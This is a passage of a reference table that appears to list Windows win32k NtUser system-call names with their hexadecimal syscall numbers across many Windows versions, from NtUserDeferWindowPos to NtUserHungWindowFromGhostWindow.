NtUserDdeSetQualityOfService |  |  |  |  0x1110  |  |  |  0x1151  |  |  0x1151  |  |  0x115b  |  0x115b  |  0x115b  |  |  0x115a  |  0x115a  |  |  |  |  |  |  |   
NtUserDefSetText |  |  |  |  0x1112  |  |  |  0x1153  |  |  0x1153  |  |  0x115d  |  0x115d  |  0x115d  |  |  0x115c  |  0x115c  |  0x1168  |  0x1168  |  0x1168  |  |  0x1168  |  |  0x116d   
NtUserDeferWindowPos |  |  |  |  0x1111  |  |  |  0x1152  |  |  0x1152  |  |  0x115c  |  0x115c  |  0x115c  |  |  0x115b  |  0x115b  |  0x1167  |  0x1167  |  0x1167  |  |  0x1167  |  |  0x116c   
NtUserDeleteMenu |  |  |  |  0x1113  |  |  |  0x1154  |  |  0x1154  |  |  0x115e  |  0x115e  |  0x115e  |  |  0x115d  |  0x115d  |  0x1169  |  0x1169  |  0x1169  |  |  0x1169  |  |  0x116e   
NtUserDestroyAcceleratorTable |  |  |  |  0x1114  |  |  |  0x1155  |  |  0x1155  |  |  0x115f  |  0x115f  |  0x115f  |  |  0x115e  |  0x115e  |  0x116a  |  0x116a  |  0x116a  |  |  0x116a  |  |  0x116f   
NtUserDestroyCursor |  |  |  |  0x1115  |  |  |  0x1156  |  |  0x1156  |  |  0x1160  |  0x1160  |  0x1160  |  |  0x115f  |  0x115f  |  0x116b  |  0x116b  |  0x116b  |  |  0x116b  |  |  0x1170   
NtUserDestroyInputContext |  |  |  |  |  |  |  0x1157  |  |  0x1157  |  |  0x1161  |  0x1161  |  0x1161  |  |  0x1160  |  0x1160  |  0x116c  |  0x116c  |  0x116c  |  |  0x116c  |  |  0x1171   
NtUserDestroyMenu |  |  |  |  0x1116  |  |  |  0x1158  |  |  0x1158  |  |  0x1162  |  0x1162  |  0x1162  |  |  0x1161  |  0x1161  |  0x116d  |  0x116d  |  0x116d  |  |  0x116d  |  |  0x1172   
NtUserDestroyWindow |  |  |  |  0x1117  |  |  |  0x1159  |  |  0x1159  |  |  0x1163  |  0x1163  |  0x1163  |  |  0x1162  |  0x1162  |  0x116e  |  0x116e  |  0x116e  |  |  0x116e  |  |  0x1173   
NtUserDisableThreadIme |  |  |  |  |  |  |  0x115a  |  |  0x115a  |  |  0x1164  |  0x1164  |  0x1164  |  |  0x1163  |  0x1163  |  0x116f  |  0x116f  |  0x116f  |  |  0x116f  |  |  0x1174   
NtUserDispatchMessage |  |  |  |  0x1118  |  |  |  0x115b  |  |  0x115b  |  |  0x1165  |  0x1165  |  0x1165  |  |  0x1164  |  0x1164  |  0x1170  |  0x1170  |  0x1170  |  |  0x1170  |  |  0x1175   
NtUserDisplayConfigGetDeviceInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1155   
NtUserDisplayConfigSetDeviceInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1156   
NtUserDoSoundConnect |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1171  |  0x1171  |  0x1171  |  |  0x1171  |  |  0x1176   
NtUserDoSoundDisconnect |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1172  |  0x1172  |  0x1172  |  |  0x1172  |  |  0x1177   
NtUserDragDetect |  |  |  |  0x1119  |  |  |  0x115c  |  |  0x115c  |  |  0x1166  |  0x1166  |  0x1166  |  |  0x1165  |  0x1165  |  0x1173  |  0x1173  |  0x1173  |  |  0x1173  |  |  0x1178   
NtUserDragObject |  |  |  |  0x111a  |  |  |  0x115d  |  |  0x115d  |  |  0x1167  |  0x1167  |  0x1167  |  |  0x1166  |  0x1166  |  0x1174  |  0x1174  |  0x1174  |  |  0x1174  |  |  0x1179   
NtUserDrawAnimatedRects |  |  |  |  0x111b  |  |  |  0x115e  |  |  0x115e  |  |  0x1168  |  0x1168  |  0x1168  |  |  0x1167  |  0x1167  |  0x1175  |  0x1175  |  0x1175  |  |  0x1175  |  |  0x117a   
NtUserDrawCaption |  |  |  |  0x111c  |  |  |  0x115f  |  |  0x115f  |  |  0x1169  |  0x1169  |  0x1169  |  |  0x1168  |  0x1168  |  0x1176  |  0x1176  |  0x1176  |  |  0x1176  |  |  0x117b   
NtUserDrawCaptionTemp |  |  |  |  0x111d  |  |  |  0x1160  |  |  0x1160  |  |  0x116a  |  0x116a  |  0x116a  |  |  0x1169  |  0x1169  |  0x1177  |  0x1177  |  0x1177  |  |  0x1177  |  |  0x117c   
NtUserDrawIconEx |  |  |  |  0x111e  |  |  |  0x1161  |  |  0x1161  |  |  0x116b  |  0x116b  |  0x116b  |  |  0x116a  |  0x116a  |  0x1178  |  0x1178  |  0x1178  |  |  0x1178  |  |  0x117d   
NtUserDrawMenuBarTemp |  |  |  |  0x111f  |  |  |  0x1162  |  |  0x1162  |  |  0x116c  |  0x116c  |  0x116c  |  |  0x116b  |  0x116b  |  0x1179  |  0x1179  |  0x1179  |  |  0x1179  |  |  0x117e   
NtUserDwmGetDxRgn |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1276  |  0x1276  |  0x1276  |  |  0x1276  |  |   
NtUserDwmHintDxUpdate |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1275  |  0x1275  |  0x1275  |  |  0x1275  |  |   
NtUserDwmStartRedirection |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1273  |  0x1273  |  0x1273  |  |  0x1273  |  |  0x127f   
NtUserDwmStopRedirection |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1274  |  0x1274  |  0x1274  |  |  0x1274  |  |  0x1280   
NtUserECQueryInputLangChange |  |  |  |  0x1120  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserEmptyClipboard |  |  |  |  |  |  |  0x1163  |  |  0x1163  |  |  0x116d  |  0x116d  |  0x116d  |  |  0x116c  |  0x116c  |  0x117a  |  0x117a  |  0x117a  |  |  0x117a  |  |  0x117f   
NtUserEnableMenuItem |  |  |  |  0x1121  |  |  |  0x1164  |  |  0x1164  |  |  0x116e  |  0x116e  |  0x116e  |  |  0x116d  |  0x116d  |  0x117b  |  0x117b  |  0x117b  |  |  0x117b  |  |  0x1180   
NtUserEnableScrollBar |  |  |  |  0x1122  |  |  |  0x1165  |  |  0x1165  |  |  0x116f  |  0x116f  |  0x116f  |  |  0x116e  |  0x116e  |  0x117c  |  0x117c  |  0x117c  |  |  0x117c  |  |  0x1181   
NtUserEndDeferWindowPosEx |  |  |  |  0x1123  |  |  |  0x1166  |  |  0x1166  |  |  0x1170  |  0x1170  |  0x1170  |  |  0x116f  |  0x116f  |  0x117d  |  0x117d  |  0x117d  |  |  0x117d  |  |  0x1182   
NtUserEndMenu |  |  |  |  0x1124  |  |  |  0x1167  |  |  0x1167  |  |  0x1171  |  0x1171  |  0x1171  |  |  0x1170  |  0x1170  |  0x117e  |  0x117e  |  0x117e  |  |  0x117e  |  |  0x1183   
NtUserEndPaint |  |  |  |  0x1125  |  |  |  0x1168  |  |  0x1168  |  |  0x1172  |  0x1172  |  0x1172  |  |  0x1171  |  0x1171  |  0x117f  |  0x117f  |  0x117f  |  |  0x117f  |  |  0x1184   
NtUserEndTouchOperation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x128f   
NtUserEnumDisplayDevices |  |  |  |  0x1126  |  |  |  0x1169  |  |  0x1169  |  |  0x1173  |  0x1173  |  0x1173  |  |  0x1172  |  0x1172  |  0x1180  |  0x1180  |  0x1180  |  |  0x1180  |  |  0x1185   
NtUserEnumDisplayMonitors |  |  |  |  |  |  |  0x116a  |  |  0x116a  |  |  0x1174  |  0x1174  |  0x1174  |  |  0x1173  |  0x1173  |  0x1181  |  0x1181  |  0x1181  |  |  0x1181  |  |  0x1186   
NtUserEnumDisplaySettings |  |  |  |  0x1127  |  |  |  0x116b  |  |  0x116b  |  |  0x1175  |  0x1175  |  0x1175  |  |  0x1174  |  0x1174  |  0x1182  |  0x1182  |  0x1182  |  |  0x1182  |  |  0x1187   
NtUserEvent |  |  |  |  0x1128  |  |  |  0x116c  |  |  0x116c  |  |  0x1176  |  0x1176  |  0x1176  |  |  0x1175  |  0x1175  |  0x1183  |  0x1183  |  0x1183  |  |  0x1183  |  |  0x1188   
NtUserExcludeUpdateRgn |  |  |  |  0x1129  |  |  |  0x116d  |  |  0x116d  |  |  0x1177  |  0x1177  |  0x1177  |  |  0x1176  |  0x1176  |  0x1184  |  0x1184  |  0x1184  |  |  0x1184  |  |  0x1189   
NtUserFillWindow |  |  |  |  0x112a  |  |  |  0x116e  |  |  0x116e  |  |  0x1178  |  0x1178  |  0x1178  |  |  0x1177  |  0x1177  |  0x1185  |  0x1185  |  0x1185  |  |  0x1185  |  |  0x118a   
NtUserFindExistingCursorIcon |  |  |  |  0x112b  |  |  |  0x116f  |  |  0x116f  |  |  0x1179  |  0x1179  |  0x1179  |  |  0x1178  |  0x1178  |  0x1186  |  0x1186  |  0x1186  |  |  0x1186  |  |  0x118b   
NtUserFindWindowEx |  |  |  |  0x112c  |  |  |  0x1170  |  |  0x1170  |  |  0x117a  |  0x117a  |  0x117a  |  |  0x1179  |  0x1179  |  0x1187  |  0x1187  |  0x1187  |  |  0x1187  |  |  0x118c   
NtUserFlashWindowEx |  |  |  |  |  |  |  0x1171  |  |  0x1171  |  |  0x117b  |  0x117b  |  0x117b  |  |  0x117a  |  0x117a  |  0x1188  |  0x1188  |  0x1188  |  |  0x1188  |  |  0x118d   
NtUserFrostCrashedWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1189  |  0x1189  |  0x1189  |  |  0x1189  |  |  0x118e   
NtUserFullscreenControl |  |  |  |  0x115c  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserGetAltTabInfo |  |  |  |  |  |  |  0x1172  |  |  0x1172  |  |  0x117c  |  0x117c  |  0x117c  |  |  0x117b  |  0x117b  |  0x118a  |  0x118a  |  0x118a  |  |  0x118a  |  |  0x118f   
NtUserGetAncestor |  |  |  |  0x115d  |  |  |  0x1173  |  |  0x1173  |  |  0x117d  |  0x117d  |  0x117d  |  |  0x117c  |  0x117c  |  0x118b  |  0x118b  |  0x118b  |  |  0x118b  |  |  0x1190   
NtUserGetAppImeLevel |  |  |  |  |  |  |  0x1174  |  |  0x1174  |  |  0x117e  |  0x117e  |  0x117e  |  |  0x117d  |  0x117d  |  0x118c  |  0x118c  |  0x118c  |  |  0x118c  |  |  0x1191   
NtUserGetAsyncKeyState |  |  |  |  0x115e  |  |  |  0x1175  |  |  0x1175  |  |  0x117f  |  0x117f  |  0x117f  |  |  0x117e  |  0x117e  |  0x118d  |  0x118d  |  0x118d  |  |  0x118d  |  |  0x1192   
NtUserGetAtomName |  |  |  |  |  |  |  |  |  |  |  0x1180  |  0x1180  |  0x1180  |  |  0x117f  |  0x117f  |  0x118e  |  0x118e  |  0x118e  |  |  0x118e  |  |  0x1193   
NtUserGetCPD |  |  |  |  0x116b  |  |  |  0x1183  |  |  0x1183  |  |  0x118e  |  0x118e  |  0x118e  |  |  0x118d  |  0x118d  |  0x119c  |  0x119c  |  0x119c  |  |  0x119c  |  |  0x11a1   
NtUserGetCaretBlinkTime |  |  |  |  0x115f  |  |  |  0x1176  |  |  0x1176  |  |  0x1181  |  0x1181  |  0x1181  |  |  0x1180  |  0x1180  |  0x118f  |  0x118f  |  0x118f  |  |  0x118f  |  |  0x1194   
NtUserGetCaretPos |  |  |  |  0x1160  |  |  |  0x1177  |  |  0x1177  |  |  0x1182  |  0x1182  |  0x1182  |  |  0x1181  |  0x1181  |  0x1190  |  0x1190  |  0x1190  |  |  0x1190  |  |  0x1195   
NtUserGetClassInfo |  |  |  |  0x1161  |  |  |  0x1178  |  |  0x1178  |  |  0x1183  |  0x1183  |  0x1183  |  |  |  |  |  |  |  |  |  |   
NtUserGetClassInfoEx |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1182  |  0x1182  |  0x1191  |  0x1191  |  0x1191  |  |  0x1191  |  |  0x1196   
NtUserGetClassName |  |  |  |  0x1162  |  |  |  0x1179  |  |  0x1179  |  |  0x1184  |  0x1184  |  0x1184  |  |  0x1183  |  0x1183  |  0x1192  |  0x1192  |  0x1192  |  |  0x1192  |  |  0x1197   
NtUserGetClipCursor |  |  |  |  0x1163  |  |  |  0x117f  |  |  0x117f  |  |  0x118a  |  0x118a  |  0x118a  |  |  0x1189  |  0x1189  |  0x1198  |  0x1198  |  0x1198  |  |  0x1198  |  |  0x119d   
NtUserGetClipboardData |  |  |  |  0x1165  |  |  |  0x117a  |  |  0x117a  |  |  0x1185  |  0x1185  |  0x1185  |  |  0x1184  |  0x1184  |  0x1193  |  0x1193  |  0x1193  |  |  0x1193  |  |  0x1198   
NtUserGetClipboardFormatName |  |  |  |  0x1166  |  |  |  0x117b  |  |  0x117b  |  |  0x1186  |  0x1186  |  0x1186  |  |  0x1185  |  0x1185  |  0x1194  |  0x1194  |  0x1194  |  |  0x1194  |  |  0x1199   
NtUserGetClipboardOwner |  |  |  |  0x1167  |  |  |  0x117c  |  |  0x117c  |  |  0x1187  |  0x1187  |  0x1187  |  |  0x1186  |  0x1186  |  0x1195  |  0x1195  |  0x1195  |  |  0x1195  |  |  0x119a   
NtUserGetClipboardSequenceNumber |  |  |  |  |  |  |  0x117d  |  |  0x117d  |  |  0x1188  |  0x1188  |  0x1188  |  |  0x1187  |  0x1187  |  0x1196  |  0x1196  |  0x1196  |  |  0x1196  |  |  0x119b   
NtUserGetClipboardViewer |  |  |  |  0x1168  |  |  |  0x117e  |  |  0x117e  |  |  0x1189  |  0x1189  |  0x1189  |  |  0x1188  |  0x1188  |  0x1197  |  0x1197  |  0x1197  |  |  0x1197  |  |  0x119c   
NtUserGetComboBoxInfo |  |  |  |  |  |  |  0x1180  |  |  0x1180  |  |  0x118b  |  0x118b  |  0x118b  |  |  0x118a  |  0x118a  |  0x1199  |  0x1199  |  0x1199  |  |  0x1199  |  |  0x119e   
NtUserGetControlBrush |  |  |  |  0x1169  |  |  |  0x1181  |  |  0x1181  |  |  0x118c  |  0x118c  |  0x118c  |  |  0x118b  |  0x118b  |  0x119a  |  0x119a  |  0x119a  |  |  0x119a  |  |  0x119f   
NtUserGetControlColor |  |  |  |  0x116a  |  |  |  0x1182  |  |  0x1182  |  |  0x118d  |  0x118d  |  0x118d  |  |  0x118c  |  0x118c  |  0x119b  |  0x119b  |  0x119b  |  |  0x119b  |  |  0x11a0   
NtUserGetCursorFrameInfo |  |  |  |  |  |  |  0x1184  |  |  0x1184  |  |  0x118f  |  0x118f  |  0x118f  |  |  0x118e  |  0x118e  |  0x119d  |  0x119d  |  0x119d  |  |  0x119d  |  |  0x11a2   
NtUserGetCursorInfo |  |  |  |  0x116c  |  |  |  0x1185  |  |  0x1185  |  |  0x1190  |  0x1190  |  0x1190  |  |  0x118f  |  0x118f  |  0x119e  |  0x119e  |  0x119e  |  |  0x119e  |  |  0x11a3   
NtUserGetDC |  |  |  |  0x116d  |  |  |  0x1186  |  |  0x1186  |  |  0x1191  |  0x1191  |  0x1191  |  |  0x1190  |  0x1190  |  0x119f  |  0x119f  |  0x119f  |  |  0x119f  |  |  0x11a4   
NtUserGetDCEx |  |  |  |  0x116e  |  |  |  0x1187  |  |  0x1187  |  |  0x1192  |  0x1192  |  0x1192  |  |  0x1191  |  0x1191  |  0x11a0  |  0x11a0  |  0x11a0  |  |  0x11a0  |  |  0x11a5   
NtUserGetDisplayConfigBufferSizes |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1152   
NtUserGetDoubleClickTime |  |  |  |  0x116f  |  |  |  0x1188  |  |  0x1188  |  |  0x1193  |  0x1193  |  0x1193  |  |  0x1192  |  0x1192  |  0x11a1  |  0x11a1  |  0x11a1  |  |  0x11a1  |  |  0x11a6   
NtUserGetForegroundWindow |  |  |  |  0x1175  |  |  |  0x1189  |  |  0x1189  |  |  0x1194  |  0x1194  |  0x1194  |  |  0x1193  |  0x1193  |  0x11a2  |  0x11a2  |  0x11a2  |  |  0x11a2  |  |  0x11a7   
NtUserGetGUIThreadInfo |  |  |  |  0x1170  |  |  |  0x118b  |  |  0x118b  |  |  0x1196  |  0x1196  |  0x1196  |  |  0x1195  |  0x1195  |  0x11a4  |  0x11a4  |  0x11a4  |  |  0x11a4  |  |  0x11a9   
NtUserGetGestureConfig |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1297   
NtUserGetGestureExtArgs |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1294   
NtUserGetGestureInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1293   
NtUserGetGuiResources |  |  |  |  |  |  |  0x118a  |  |  0x118a  |  |  0x1195  |  0x1195  |  0x1195  |  |  0x1194  |  0x1194  |  0x11a3  |  0x11a3  |  0x11a3  |  |  0x11a3  |  |  0x11a8   
NtUserGetIconInfo |  |  |  |  0x1171  |  |  |  0x118c  |  |  0x118c  |  |  0x1197  |  0x1197  |  0x1197  |  |  0x1196  |  0x1196  |  0x11a5  |  0x11a5  |  0x11a5  |  |  0x11a5  |  |  0x11aa   
NtUserGetIconSize |  |  |  |  0x1172  |  |  |  0x118d  |  |  0x118d  |  |  0x1198  |  0x1198  |  0x1198  |  |  0x1197  |  0x1197  |  0x11a6  |  0x11a6  |  0x11a6  |  |  0x11a6  |  |  0x11ab   
NtUserGetImeHotKey |  |  |  |  |  |  |  0x118e  |  |  0x118e  |  |  0x1199  |  0x1199  |  0x1199  |  |  0x1198  |  0x1198  |  0x11a7  |  0x11a7  |  0x11a7  |  |  0x11a7  |  |  0x11ac   
NtUserGetImeInfoEx |  |  |  |  |  |  |  0x118f  |  |  0x118f  |  |  0x119a  |  0x119a  |  0x119a  |  |  0x1199  |  0x1199  |  0x11a8  |  0x11a8  |  0x11a8  |  |  0x11a8  |  |  0x11ad   
NtUserGetInputEvent |  |  |  |  0x1173  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserGetInputLocaleInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11ae   
NtUserGetInternalWindowPos |  |  |  |  0x1174  |  |  |  0x1190  |  |  0x1190  |  |  0x119b  |  0x119b  |  0x119b  |  |  0x119a  |  0x119a  |  0x11a9  |  0x11a9  |  0x11a9  |  |  0x11a9  |  |  0x11af   
NtUserGetKeyNameText |  |  |  |  0x1179  |  |  |  0x1194  |  |  0x1194  |  |  0x119f  |  0x119f  |  0x119f  |  |  0x119e  |  0x119e  |  0x11ad  |  0x11ad  |  0x11ad  |  |  0x11ad  |  |  0x11b3   
NtUserGetKeyState |  |  |  |  0x117a  |  |  |  0x1195  |  |  0x1195  |  |  0x11a0  |  0x11a0  |  0x11a0  |  |  0x119f  |  0x119f  |  0x11ae  |  0x11ae  |  0x11ae  |  |  0x11ae  |  |  0x11b4   
NtUserGetKeyboardLayoutList |  |  |  |  0x1177  |  |  |  0x1191  |  |  0x1191  |  |  0x119c  |  0x119c  |  0x119c  |  |  0x119b  |  0x119b  |  0x11aa  |  0x11aa  |  0x11aa  |  |  0x11aa  |  |  0x11b0   
NtUserGetKeyboardLayoutName |  |  |  |  0x1176  |  |  |  0x1192  |  |  0x1192  |  |  0x119d  |  0x119d  |  0x119d  |  |  0x119c  |  0x119c  |  0x11ab  |  0x11ab  |  0x11ab  |  |  0x11ab  |  |  0x11b1   
NtUserGetKeyboardState |  |  |  |  0x1178  |  |  |  0x1193  |  |  0x1193  |  |  0x119e  |  0x119e  |  0x119e  |  |  0x119d  |  0x119d  |  0x11ac  |  0x11ac  |  0x11ac  |  |  0x11ac  |  |  0x11b2   
NtUserGetLayeredWindowAttributes |  |  |  |  |  |  |  |  |  |  |  0x1244  |  0x1244  |  0x1244  |  |  0x1240  |  0x1240  |  0x125c  |  0x125c  |  0x125c  |  |  0x125c  |  |  0x1269   
NtUserGetListBoxInfo |  |  |  |  |  |  |  0x1196  |  |  0x1196  |  |  0x11a1  |  0x11a1  |  0x11a1  |  |  0x11a0  |  0x11a0  |  0x11af  |  0x11af  |  0x11af  |  |  0x11af  |  |  0x11b5   
NtUserGetListboxString |  |  |  |  0x117b  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserGetMediaChangeEvents |  |  |  |  0x117c  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserGetMenuBarInfo |  |  |  |  |  |  |  0x1197  |  |  0x1197  |  |  0x11a2  |  0x11a2  |  0x11a2  |  |  0x11a1  |  0x11a1  |  0x11b0  |  0x11b0  |  0x11b0  |  |  0x11b0  |  |  0x11b6   
NtUserGetMenuIndex |  |  |  |  0x117d  |  |  |  0x1198  |  |  0x1198  |  |  0x11a3  |  0x11a3  |  0x11a3  |  |  0x11a2  |  0x11a2  |  0x11b1  |  0x11b1  |  0x11b1  |  |  0x11b1  |  |  0x11b7   
NtUserGetMenuItemRect |  |  |  |  0x117e  |  |  |  0x1199  |  |  0x1199  |  |  0x11a4  |  0x11a4  |  0x11a4  |  |  0x11a3  |  0x11a3  |  0x11b2  |  0x11b2  |  0x11b2  |  |  0x11b2  |  |  0x11b8   
NtUserGetMessage |  |  |  |  0x117f  |  |  |  0x119a  |  |  0x119a  |  |  0x11a5  |  0x11a5  |  0x11a5  |  |  0x11a4  |  0x11a4  |  0x11b3  |  0x11b3  |  0x11b3  |  |  0x11b3  |  |  0x11b9   
NtUserGetMouseMovePointsEx |  |  |  |  |  |  |  0x119b  |  |  0x119b  |  |  0x11a6  |  0x11a6  |  0x11a6  |  |  0x11a5  |  0x11a5  |  0x11b4  |  0x11b4  |  0x11b4  |  |  0x11b4  |  |  0x11ba   
NtUserGetObjectInformation |  |  |  |  0x1180  |  |  |  0x119c  |  |  0x119c  |  |  0x11a7  |  0x11a7  |  0x11a7  |  |  0x11a6  |  0x11a6  |  0x11b5  |  0x11b5  |  0x11b5  |  |  0x11b5  |  |  0x11bb   
NtUserGetOpenClipboardWindow |  |  |  |  0x1181  |  |  |  0x119d  |  |  0x119d  |  |  0x11a8  |  0x11a8  |  0x11a8  |  |  0x11a7  |  0x11a7  |  0x11b6  |  0x11b6  |  0x11b6  |  |  0x11b6  |  |  0x11bc   
NtUserGetPriorityClipboardFormat |  |  |  |  0x1182  |  |  |  0x119e  |  |  0x119e  |  |  0x11a9  |  0x11a9  |  0x11a9  |  |  0x11a8  |  0x11a8  |  0x11b7  |  0x11b7  |  0x11b7  |  |  0x11b7  |  |  0x11bd   
NtUserGetProcessWindowStation |  |  |  |  0x1183  |  |  |  0x119f  |  |  0x119f  |  |  0x11aa  |  0x11aa  |  0x11aa  |  |  0x11a9  |  0x11a9  |  0x11b8  |  0x11b8  |  0x11b8  |  |  0x11b8  |  |  0x11be   
NtUserGetProp |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1228  |  0x1228  |  0x1228  |  |  0x1228  |  |  0x1232   
NtUserGetRawInputBuffer |  |  |  |  |  |  |  |  |  |  |  0x11ab  |  0x11ab  |  0x11ab  |  |  0x11aa  |  0x11aa  |  0x11b9  |  0x11b9  |  0x11b9  |  |  0x11b9  |  |  0x11bf   
NtUserGetRawInputData |  |  |  |  |  |  |  |  |  |  |  0x11ac  |  0x11ac  |  0x11ac  |  |  0x11ab  |  0x11ab  |  0x11ba  |  0x11ba  |  0x11ba  |  |  0x11ba  |  |  0x11c0   
NtUserGetRawInputDeviceInfo |  |  |  |  |  |  |  |  |  |  |  0x11ad  |  0x11ad  |  0x11ad  |  |  0x11ac  |  0x11ac  |  0x11bb  |  0x11bb  |  0x11bb  |  |  0x11bb  |  |  0x11c1   
NtUserGetRawInputDeviceList |  |  |  |  |  |  |  |  |  |  |  0x11ae  |  0x11ae  |  0x11ae  |  |  0x11ad  |  0x11ad  |  0x11bc  |  0x11bc  |  0x11bc  |  |  0x11bc  |  |  0x11c2   
NtUserGetRegisteredRawInputDevices |  |  |  |  |  |  |  |  |  |  |  0x11af  |  0x11af  |  0x11af  |  |  0x11ae  |  0x11ae  |  0x11bd  |  0x11bd  |  0x11bd  |  |  0x11bd  |  |  0x11c3   
NtUserGetScrollBarInfo |  |  |  |  |  |  |  0x11a0  |  |  0x11a0  |  |  0x11b0  |  0x11b0  |  0x11b0  |  |  0x11af  |  0x11af  |  0x11be  |  0x11be  |  0x11be  |  |  0x11be  |  |  0x11c4   
NtUserGetStats |  |  |  |  0x1184  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserGetSystemMenu |  |  |  |  0x1185  |  |  |  0x11a1  |  |  0x11a1  |  |  0x11b1  |  0x11b1  |  0x11b1  |  |  0x11b0  |  0x11b0  |  0x11bf  |  0x11bf  |  0x11bf  |  |  0x11bf  |  |  0x11c5   
NtUserGetThreadDesktop |  |  |  |  0x1186  |  |  |  0x11a2  |  |  0x11a2  |  |  0x11b2  |  0x11b2  |  0x11b2  |  |  0x11b1  |  0x11b1  |  0x11c0  |  0x11c0  |  0x11c0  |  |  0x11c0  |  |  0x11c6   
NtUserGetThreadState |  |  |  |  0x1187  |  |  |  0x11a3  |  |  0x11a3  |  |  0x11b3  |  0x11b3  |  0x11b3  |  |  0x11b2  |  0x11b2  |  0x11c1  |  0x11c1  |  0x11c1  |  |  0x11c1  |  |  0x11c7   
NtUserGetTitleBarInfo |  |  |  |  |  |  |  0x11a4  |  |  0x11a4  |  |  0x11b4  |  0x11b4  |  0x11b4  |  |  0x11b3  |  0x11b3  |  0x11c2  |  0x11c2  |  0x11c2  |  |  0x11c2  |  |  0x11c8   
NtUserGetTopLevelWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11c9   
NtUserGetTouchInputInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1290   
NtUserGetUpdateRect |  |  |  |  0x1188  |  |  |  0x11a5  |  |  0x11a5  |  |  0x11b5  |  0x11b5  |  0x11b5  |  |  0x11b4  |  0x11b4  |  0x11c4  |  0x11c4  |  0x11c4  |  |  0x11c4  |  |  0x11cb   
NtUserGetUpdateRgn |  |  |  |  0x1189  |  |  |  0x11a6  |  |  0x11a6  |  |  0x11b6  |  0x11b6  |  0x11b6  |  |  0x11b5  |  0x11b5  |  0x11c5  |  0x11c5  |  0x11c5  |  |  0x11c5  |  |  0x11cc   
NtUserGetUpdatedClipboardFormats |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11c3  |  0x11c3  |  0x11c3  |  |  0x11c3  |  |  0x11ca   
NtUserGetUserStartupInfoFlags |  |  |  |  0x118a  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserGetWOWClass |  |  |  |  0x1164  |  |  |  0x11a9  |  |  0x11a9  |  |  0x11b9  |  0x11b9  |  0x11b9  |  |  0x11b8  |  0x11b8  |  0x11c8  |  0x11c8  |  0x11c8  |  |  0x11c8  |  |  0x11d2   
NtUserGetWindowCompositionAttribute |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11ce   
NtUserGetWindowCompositionInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11cd   
NtUserGetWindowDC |  |  |  |  0x118b  |  |  |  0x11a7  |  |  0x11a7  |  |  0x11b7  |  0x11b7  |  0x11b7  |  |  0x11b6  |  0x11b6  |  0x11c6  |  0x11c6  |  0x11c6  |  |  0x11c6  |  |  0x11cf   
NtUserGetWindowDisplayAffinity |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11d0   
NtUserGetWindowMinimizeRect |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1277  |  0x1277  |  0x1277  |  |  0x1277  |  |  0x1281   
NtUserGetWindowPlacement |  |  |  |  0x118c  |  |  |  0x11a8  |  |  0x11a8  |  |  0x11b8  |  0x11b8  |  0x11b8  |  |  0x11b7  |  0x11b7  |  0x11c7  |  0x11c7  |  0x11c7  |  |  0x11c7  |  |  0x11d1   
NtUserGetWindowRgnEx |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x123a  |  0x123a  |  0x123a  |  |  0x123a  |  |  0x1246   
NtUserGhostWindowFromHungWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11c9  |  0x11c9  |  0x11c9  |  |  0x11c9  |  |  0x11d3   
NtUserHardErrorControl |  |  |  |  0x118d  |  |  |  0x11aa  |  |  0x11aa  |  |  0x11ba  |  0x11ba  |  0x11ba  |  |  0x11b9  |  0x11b9  |  0x11ca  |  0x11ca  |  0x11ca  |  |  0x11ca  |  |  0x11d4   
NtUserHideCaret |  |  |  |  0x118e  |  |  |  0x11ab  |  |  0x11ab  |  |  0x11bb  |  0x11bb  |  0x11bb  |  |  0x11ba  |  0x11ba  |  0x11cb  |  0x11cb  |  0x11cb  |  |  0x11cb  |  |  0x11d5   
NtUserHiliteMenuItem |  |  |  |  0x118f  |  |  |  0x11ac  |  |  0x11ac  |  |  0x11bc  |  0x11bc  |  0x11bc  |  |  0x11bb  |  0x11bb  |  0x11cc  |  0x11cc  |  0x11cc  |  |  0x11cc  |  |  0x11d6   
NtUserHungWindowFromGhostWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11cd  |  0x11cd  |  0x11cd  |  |  0x11cd  |  |  0x11d7   
